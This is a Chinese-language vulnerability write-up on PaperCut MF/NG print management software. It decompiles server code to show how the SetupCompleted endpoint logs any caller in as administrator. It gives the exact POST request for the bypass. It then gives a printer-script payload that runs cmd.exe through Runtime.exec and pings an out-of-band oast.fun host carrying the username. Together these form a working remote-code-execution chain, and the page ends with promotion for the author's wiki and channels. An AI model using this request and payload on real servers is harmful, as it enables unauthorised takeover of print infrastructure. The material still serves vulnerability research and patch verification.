PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞,攻击者通过漏洞可以获取后台管理员权限,通过配置脚本JAVA扩展类,可以达到远程命令执行控制服务器
PaperCut MF PaperCut NG
"papercut"
登陆页面
反编译 pcng-server-web-22.0.4.jar,可以看到登陆时验证方法位于
biz/papercut/pcng/web/pages/Home.class
其中含有 Google microsoft 等多种方法登陆,统一使用 performLogin 方法进行用户权限验证
public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {
return (Boolean)this.transactionHelper.runInTransaction(() -> {
LoginType loginType = this.deriveLoginType(username, preferredLoginType);
if (loginType != null) {
AccessRightList accessRights = this.authenticationManager.getUserRights(username);
accessRights = this.deriveAccessRights(loginType, accessRights);
return this.loginUser(username, accessRights, loginType, sso);
} else {
this.applicationLogManager.logWarn(this.getClass(), "Home.UserLoginFailureUnknownUser", new String[]{username});
this.setErrorMessage(this.getMessage("LOGIN_DENIED_UNKNOWN_USER"));
return false;
}
});
}
最后走到 loginUser方法中,根据用户登陆权限重定向到用户页面
漏洞出现在用户设备配置页面处,其中可以看到调用的方法也是 performLogin
public void formSubmit(IRequestCycle cycle) {
SetupData setupData = this.getSetupData();
this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
this.getAnalyticsConfigurationService().adminNotified();
this.clearSetupData();
Home homePage = (Home)cycle.getPage("Home");
homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
}
biz/papercut/pcng/web/setup/SetupCompleted.class
主要注意这一部分代码的参数, 代表登陆的权限
homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);private String _adminUserName = "admin";
public String getAdminUserName() {
return this._adminUserName;
}
这里固定的登陆权限为 Admin管理员权限,通过调用这个方法就可以获取管理员的后台权限
/app?service=page/SetupCompleted
POST /app
Cookie: JSESSIONID=xxxservice=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=登录
发送请求后就会302跳转到管理员用户页面,对应的请求调用页面也就是第一次配置的请求页面,点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆
在后台中存在脚本调用方法,根据官网配置打开扩展的 Java 类
https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting#using-extended-java-classes-in-scripts
再通过打印机的脚本编写就可以达到组合RCE
function printJobHook(inputs, actions) {}
java.lang.Runtime.getRuntime().exec('cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun');
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~
在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book